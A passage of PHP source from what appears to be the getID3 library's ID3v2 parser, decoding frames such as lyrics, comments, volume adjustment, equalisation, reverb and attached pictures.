			// Bits for milliseconds dev.     $xx
			//   Then for every reference the following data is included;
			// Deviation in bytes         %xxx....
			// Deviation in milliseconds  %xxx....

			$frame_offset = 0;
			$parsedFrame['framesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 2));
			$parsedFrame['bytesbetweenreferences']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 2, 3));
			$parsedFrame['msbetweenreferences']     = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 5, 3));
			$parsedFrame['bitsforbytesdeviation']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 8, 1));
			$parsedFrame['bitsformsdeviation']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 9, 1));
			$parsedFrame['data'] = substr($parsedFrame['data'], 10);
			$deviationbitstream = '';
			while ($frame_offset < strlen($parsedFrame['data'])) {
				$deviationbitstream .= getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			}
			$reference_counter = 0;
			while (strlen($deviationbitstream) > 0) {
				$parsedFrame[$reference_counter]['bytedeviation'] = bindec(substr($deviationbitstream, 0, $parsedFrame['bitsforbytesdeviation']));
				$parsedFrame[$reference_counter]['msdeviation']   = bindec(substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'], $parsedFrame['bitsformsdeviation']));
				$deviationbitstream = substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'] + $parsedFrame['bitsformsdeviation']);
				$reference_counter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYTC')) || // 4.7   SYTC Synchronised tempo codes
				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'STC'))) {  // 4.8   STC  Synchronised tempo codes
			//   There may only be one 'SYTC' frame in each tag
			// <Header for 'Synchronised tempo codes', ID: 'SYTC'>
			// Time stamp format   $xx
			// Tempo data          <binary data>
			//   Where time stamp format is:
			// $01  (32-bit value) MPEG frames from beginning of file
			// $02  (32-bit value) milliseconds from beginning of file

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$timestamp_counter = 0;
			while ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame[$timestamp_counter]['tempo'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
				if ($parsedFrame[$timestamp_counter]['tempo'] == 255) {
					$parsedFrame[$timestamp_counter]['tempo'] += ord(substr($parsedFrame['data'], $frame_offset++, 1));
				}
				$parsedFrame[$timestamp_counter]['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
				$frame_offset += 4;
				$timestamp_counter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USLT')) || // 4.8   USLT Unsynchronised lyric/text transcription
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ULT'))) {    // 4.9   ULT  Unsynchronised lyric/text transcription
			//   There may be more than one 'Unsynchronised lyrics/text transcription' frame
			//   in each tag, but only one with the same language and content descriptor.
			// <Header for 'Unsynchronised lyrics/text transcription', ID: 'USLT'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// Content descriptor   <text string according to encoding> $00 (00)
			// Lyrics/text          <full text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			if (strlen($parsedFrame['data']) >= (4 + strlen($frame_textencoding_terminator))) {  // shouldn't be an issue but badly-written files have been spotted in the wild with not only no contents but also missing the required language field, see https://github.com/JamesHeinrich/getID3/issues/315
				$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
				$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator);

				$parsedFrame['encodingid']   = $frame_textencoding;
				$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

				$parsedFrame['language']     = $frame_language;
				$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
				if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
				}
			} else {
				$this->warning('Invalid data in frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset']);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYLT')) || // 4.9   SYLT Synchronised lyric/text
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'SLT'))) {     // 4.10  SLT  Synchronised lyric/text
			//   There may be more than one 'SYLT' frame in each tag,
			//   but only one with the same language and content descriptor.
			// <Header for 'Synchronised lyrics/text', ID: 'SYLT'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// Time stamp format    $xx
			//   $01  (32-bit value) MPEG frames from beginning of file
			//   $02  (32-bit value) milliseconds from beginning of file
			// Content type         $xx
			// Content descriptor   <text string according to encoding> $00 (00)
			//   Terminated text to be synced (typically a syllable)
			//   Sync identifier (terminator to above string)   $00 (00)
			//   Time stamp                                     $xx (xx ...)

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
			$frame_offset += 3;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['contenttypeid']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['contenttype']     = $this->SYTLContentTypeLookup($parsedFrame['contenttypeid']);
			$parsedFrame['encodingid']      = $frame_textencoding;
			$parsedFrame['encoding']        = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['language']        = $frame_language;
			$parsedFrame['languagename']    = $this->LanguageLookup($frame_language, false);

			$timestampindex = 0;
			$frame_remainingdata = substr($parsedFrame['data'], $frame_offset);
			while (strlen($frame_remainingdata)) {
				$frame_offset = 0;
				$frame_terminatorpos = strpos($frame_remainingdata, $frame_textencoding_terminator);
				if ($frame_terminatorpos === false) {
					$frame_remainingdata = '';
				} else {
					if (ord(substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
						$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
					}
					$parsedFrame['lyrics'][$timestampindex]['data'] = substr($frame_remainingdata, $frame_offset, $frame_terminatorpos - $frame_offset);

					$frame_remainingdata = substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator));
					if (strlen($frame_remainingdata)) { // https://github.com/JamesHeinrich/getID3/issues/444
						if (($timestampindex == 0) && (ord($frame_remainingdata[0]) != 0)) {
							// timestamp probably omitted for first data item
						} else {
							$parsedFrame['lyrics'][$timestampindex]['timestamp'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 4));
							$frame_remainingdata = substr($frame_remainingdata, 4);
						}
						$timestampindex++;
					}
				}
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMM')) || // 4.10  COMM Comments
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'COM'))) {     // 4.11  COM  Comments
			//   There may be more than one comment frame in each tag,
			//   but only one with the same language and content descriptor.
			// <Header for 'Comment', ID: 'COMM'>
			// Text encoding          $xx
			// Language               $xx xx xx
			// Short content descrip. <text string according to encoding> $00 (00)
			// The actual text        <full text string according to encoding>

			if (strlen($parsedFrame['data']) < 5) {

				$this->warning('Invalid data (too short) for "'.$parsedFrame['frame_name'].'" frame at offset '.$parsedFrame['dataoffset']);

			} else {

				$frame_offset = 0;
				$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
				$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
				if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
					$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
					$frame_textencoding_terminator = "\x00";
				}
				$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
				$frame_text = (string) substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
				$frame_text = $this->RemoveStringTerminator($frame_text, $frame_textencoding_terminator);

				$parsedFrame['encodingid']   = $frame_textencoding;
				$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

				$parsedFrame['language']     = $frame_language;
				$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
				$parsedFrame['data']         = $frame_text;
				if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
					$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (!empty($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
					if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
					} else {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
					}
				}

			}

		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'RVA2')) { // 4.11  RVA2 Relative volume adjustment (2) (ID3v2.4+ only)
			//   There may be more than one 'RVA2' frame in each tag,
			//   but only one with the same identification string
			// <Header for 'Relative volume adjustment (2)', ID: 'RVA2'>
			// Identification          <text string> $00
			//   The 'identification' string is used to identify the situation and/or
			//   device where this adjustment should apply. The following is then
			//   repeated for every channel:
			// Type of channel         $xx
			// Volume adjustment       $xx xx
			// Bits representing peak  $xx
			// Peak volume             $xx (xx ...)

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00");
			$frame_idstring = substr($parsedFrame['data'], 0, $frame_terminatorpos);
			if (ord($frame_idstring) === 0) {
				$frame_idstring = '';
			}
			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
			$parsedFrame['description'] = $frame_idstring;
			$RVA2channelcounter = 0;
			while (strlen($frame_remainingdata) >= 5) {
				$frame_offset = 0;
				$frame_channeltypeid = ord(substr($frame_remainingdata, $frame_offset++, 1));
				$parsedFrame[$RVA2channelcounter]['channeltypeid']  = $frame_channeltypeid;
				$parsedFrame[$RVA2channelcounter]['channeltype']    = $this->RVA2ChannelTypeLookup($frame_channeltypeid);
				$parsedFrame[$RVA2channelcounter]['volumeadjust']   = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, 2), false, true); // 16-bit signed
				$frame_offset += 2;
				$parsedFrame[$RVA2channelcounter]['bitspeakvolume'] = ord(substr($frame_remainingdata, $frame_offset++, 1));
				if (($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] < 1) || ($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] > 4)) {
					$this->warning('ID3v2::RVA2 frame['.$RVA2channelcounter.'] contains invalid '.$parsedFrame[$RVA2channelcounter]['bitspeakvolume'].'-byte bits-representing-peak value');
					break;
				}
				$frame_bytespeakvolume = ceil($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] / 8);
				$parsedFrame[$RVA2channelcounter]['peakvolume']     = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, $frame_bytespeakvolume));
				$frame_remainingdata = substr($frame_remainingdata, $frame_offset + $frame_bytespeakvolume);
				$RVA2channelcounter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'RVAD')) || // 4.12  RVAD Relative volume adjustment (ID3v2.3 only)
				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'RVA'))) {  // 4.12  RVA  Relative volume adjustment (ID3v2.2 only)
			//   There may only be one 'RVA' frame in each tag
			// <Header for 'Relative volume adjustment', ID: 'RVA'>
			// ID3v2.2 => Increment/decrement     %000000ba
			// ID3v2.3 => Increment/decrement     %00fedcba
			// Bits used for volume descr.        $xx
			// Relative volume change, right      $xx xx (xx ...) // a
			// Relative volume change, left       $xx xx (xx ...) // b
			// Peak volume right                  $xx xx (xx ...)
			// Peak volume left                   $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, right back $xx xx (xx ...) // c
			// Relative volume change, left back  $xx xx (xx ...) // d
			// Peak volume right back             $xx xx (xx ...)
			// Peak volume left back              $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, center     $xx xx (xx ...) // e
			// Peak volume center                 $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, bass       $xx xx (xx ...) // f
			// Peak volume bass                   $xx xx (xx ...)

			$frame_offset = 0;
			$frame_incrdecrflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['incdec']['right'] = (bool) substr($frame_incrdecrflags, 6, 1);
			$parsedFrame['incdec']['left']  = (bool) substr($frame_incrdecrflags, 7, 1);
			$parsedFrame['bitsvolume'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_bytesvolume = ceil($parsedFrame['bitsvolume'] / 8);
			$parsedFrame['volumechange']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			if ($parsedFrame['incdec']['right'] === false) {
				$parsedFrame['volumechange']['right'] *= -1;
			}
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['volumechange']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			if ($parsedFrame['incdec']['left'] === false) {
				$parsedFrame['volumechange']['left'] *= -1;
			}
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['peakvolume']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['peakvolume']['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			$frame_offset += $frame_bytesvolume;
			if ($id3v2_majorversion == 3) {
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['rightrear'] = (bool) substr($frame_incrdecrflags, 4, 1);
					$parsedFrame['incdec']['leftrear']  = (bool) substr($frame_incrdecrflags, 5, 1);
					$parsedFrame['volumechange']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['rightrear'] === false) {
						$parsedFrame['volumechange']['rightrear'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['volumechange']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['leftrear'] === false) {
						$parsedFrame['volumechange']['leftrear'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['leftrear']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['center'] = (bool) substr($frame_incrdecrflags, 3, 1);
					$parsedFrame['volumechange']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['center'] === false) {
						$parsedFrame['volumechange']['center'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['bass'] = (bool) substr($frame_incrdecrflags, 2, 1);
					$parsedFrame['volumechange']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['bass'] === false) {
						$parsedFrame['volumechange']['bass'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'EQU2')) { // 4.12  EQU2 Equalisation (2) (ID3v2.4+ only)
			//   There may be more than one 'EQU2' frame in each tag,
			//   but only one with the same identification string
			// <Header of 'Equalisation (2)', ID: 'EQU2'>
			// Interpolation method  $xx
			//   $00  Band
			//   $01  Linear
			// Identification        <text string> $00
			//   The following is then repeated for every adjustment point
			// Frequency          $xx xx
			// Volume adjustment  $xx xx

			$frame_offset = 0;
			$frame_interpolationmethod = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_idstring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_idstring) === 0) {
				$frame_idstring = '';
			}
			$parsedFrame['description'] = $frame_idstring;
			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
			while (strlen($frame_remainingdata)) {
				$frame_frequency = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 2)) / 2;
				$parsedFrame['data'][$frame_frequency] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, 2), false, true);
				$frame_remainingdata = substr($frame_remainingdata, 4);
			}
			$parsedFrame['interpolationmethod'] = $frame_interpolationmethod;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'EQUA')) || // 4.12  EQUA Equalisation (ID3v2.3 only)
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'EQU'))) {     // 4.13  EQU  Equalisation (ID3v2.2 only)
			//   There may only be one 'EQUA' frame in each tag
			// <Header for 'Relative volume adjustment', ID: 'EQU'>
			// Adjustment bits    $xx
			//   This is followed by 2 bytes + ('adjustment bits' rounded up to the
			//   nearest byte) for every equalisation band in the following format,
			//   giving a frequency range of 0 - 32767Hz:
			// Increment/decrement   %x (MSB of the Frequency)
			// Frequency             (lower 15 bits)
			// Adjustment            $xx (xx ...)

			$frame_offset = 0;
			$parsedFrame['adjustmentbits'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_adjustmentbytes = ceil($parsedFrame['adjustmentbits'] / 8);

			$frame_remainingdata = (string) substr($parsedFrame['data'], $frame_offset);
			while (strlen($frame_remainingdata) > 0) {
				$frame_frequencystr = getid3_lib::BigEndian2Bin(substr($frame_remainingdata, 0, 2));
				$frame_incdec    = (bool) substr($frame_frequencystr, 0, 1);
				$frame_frequency = bindec(substr($frame_frequencystr, 1, 15));
				$parsedFrame[$frame_frequency]['incdec'] = $frame_incdec;
				$parsedFrame[$frame_frequency]['adjustment'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, $frame_adjustmentbytes));
				if ($parsedFrame[$frame_frequency]['incdec'] === false) {
					$parsedFrame[$frame_frequency]['adjustment'] *= -1;
				}
				$frame_remainingdata = substr($frame_remainingdata, 2 + $frame_adjustmentbytes);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RVRB')) || // 4.13  RVRB Reverb
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'REV'))) {     // 4.14  REV  Reverb
			//   There may only be one 'RVRB' frame in each tag.
			// <Header for 'Reverb', ID: 'RVRB'>
			// Reverb left (ms)                 $xx xx
			// Reverb right (ms)                $xx xx
			// Reverb bounces, left             $xx
			// Reverb bounces, right            $xx
			// Reverb feedback, left to left    $xx
			// Reverb feedback, left to right   $xx
			// Reverb feedback, right to right  $xx
			// Reverb feedback, right to left   $xx
			// Premix left to right             $xx
			// Premix right to left             $xx

			$frame_offset = 0;
			$parsedFrame['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['bouncesL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['bouncesR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackLL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackLR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackRR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackRL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['premixLR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['premixRL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'APIC')) || // 4.14  APIC Attached picture
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'PIC'))) {     // 4.15  PIC  Attached picture
			//   There may be several pictures attached to one file,
			//   each in their individual 'APIC' frame, but only one
			//   with the same content descriptor
			// <Header for 'Attached picture', ID: 'APIC'>
			// Text encoding      $xx
			// ID3v2.3+ => MIME type          <text string> $00
			// ID3v2.2  => Image format       $xx xx xx
			// Picture type       $xx
			// Description        <text string according to encoding> $00 (00)
			// Picture data       <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}

			$frame_imagetype = null;
			$frame_mimetype = null;
			if ($id3v2_majorversion == 2 && strlen($parsedFrame['data']) > $frame_offset) {
				$frame_imagetype = substr($parsedFrame['data'], $frame_offset, 3);
				if (strtolower($frame_imagetype) == 'ima') {
					// complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted
					// MIME type instead of 3-char ID3v2.2-format image type  (thanks xbhoffØpacbell*net)
					$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
					$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
					if (ord($frame_mimetype) === 0) {
						$frame_mimetype = '';
					}
					$frame_imagetype = strtoupper(str_replace('image/', '', strtolower($frame_mimetype)));
					if ($frame_imagetype == 'JPEG') {
						$frame_imagetype = 'JPG';
					}
					$frame_offset = $frame_terminatorpos + strlen("\x00");
				} else {
					$frame_offset += 3;
				}
			}
			if ($id3v2_majorversion > 2 && strlen($parsedFrame['data']) > $frame_offset) {
				$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
				$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				if (ord($frame_mimetype) === 0) {
					$frame_mimetype = '';
				}
				$frame_offset = $frame_terminatorpos + strlen("\x00");
			}

			$frame_picturetype = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			if ($frame_offset >= $parsedFrame['datalength']) {
				$this->warning('data portion of APIC frame is missing at offset '.($parsedFrame['dataoffset'] + 8 + $frame_offset));
			} else {
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$parsedFrame['description']   = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				$parsedFrame['description']   = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
				$parsedFrame['encodingid']    = $frame_textencoding;
				$parsedFrame['encoding']      = $this->TextEncodingNameLookup($frame_textencoding);

				if ($id3v2_majorversion == 2) {
					$parsedFrame['imagetype'] = isset($frame_imagetype) ? $frame_imagetype : null;
				} else {
					$parsedFrame['mime']      = isset($frame_mimetype) ? $frame_mimetype : null;
				}
				$parsedFrame['picturetypeid'] = $frame_picturetype;
				$parsedFrame['picturetype']   = $this->APICPictureTypeLookup($frame_picturetype);
				$parsedFrame['data']          = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
				$parsedFrame['datalength']    = strlen($parsedFrame['data']);

				$parsedFrame['image_mime']    = '';
				$imageinfo = array();
				if ($imagechunkcheck = getid3_lib::GetDataImageSize($parsedFrame['data'], $imageinfo)) {
					if (($imagechunkcheck[2] >= 1) && ($imagechunkcheck[2] <= 3)) {
						$parsedFrame['image_mime']       = image_type_to_mime_type($imagechunkcheck[2]);
						if ($imagechunkcheck[0]) {
							$parsedFrame['image_width']  = $imagechunkcheck[0];
						}
						if ($imagechunkcheck[1]) {
							$parsedFrame['image_height'] = $imagechunkcheck[1];
						}
					}
				}

				do {
					if ($this->getid3->option_save_attachments === false) {
						// skip entirely
						unset($parsedFrame['data']);
						break;
					}
					$dir = '';
					if ($this->getid3->option_save_attachments === true) {
						// great
/*
					} elseif (is_int($this->getid3->option_save_attachments)) {
						if ($this->getid3->option_save_attachments < $parsedFrame['data_length']) {
							// too big, skip
							$this->warning('attachment at '.$frame_offset.' is too large to process inline ('.number_format($parsedFrame['data_length']).' bytes)');
							unset($parsedFrame['data']);
							break;
						}
*/
					} elseif (is_string($this->getid3->option_save_attachments)) {
						$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
						if (!is_dir($dir) || !getID3::is_writable($dir)) {
							// cannot write, skip
							$this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$dir.'" (not writable)');
							unset($parsedFrame['data']);
							break;
						}
					}
					// if we get this far, must be OK
					if (is_string($this->getid3->option_save_attachments)) {
						$destination_filename = $dir.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$frame_offset;
						if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) {
							file_put_contents($destination_filename, $parsedFrame['data']);
						} else {
							$this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$destination_filename.'" (not writable)');
						}
						$parsedFrame['data_filename'] = $destination_filename;
						unset($parsedFrame['data']);
					} else {
						if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
							if (!isset($info['id3v2']['comments']['picture'])) {
								$info['id3v2']['comments']['picture'] = array();
							}
							$comments_picture_data = array();
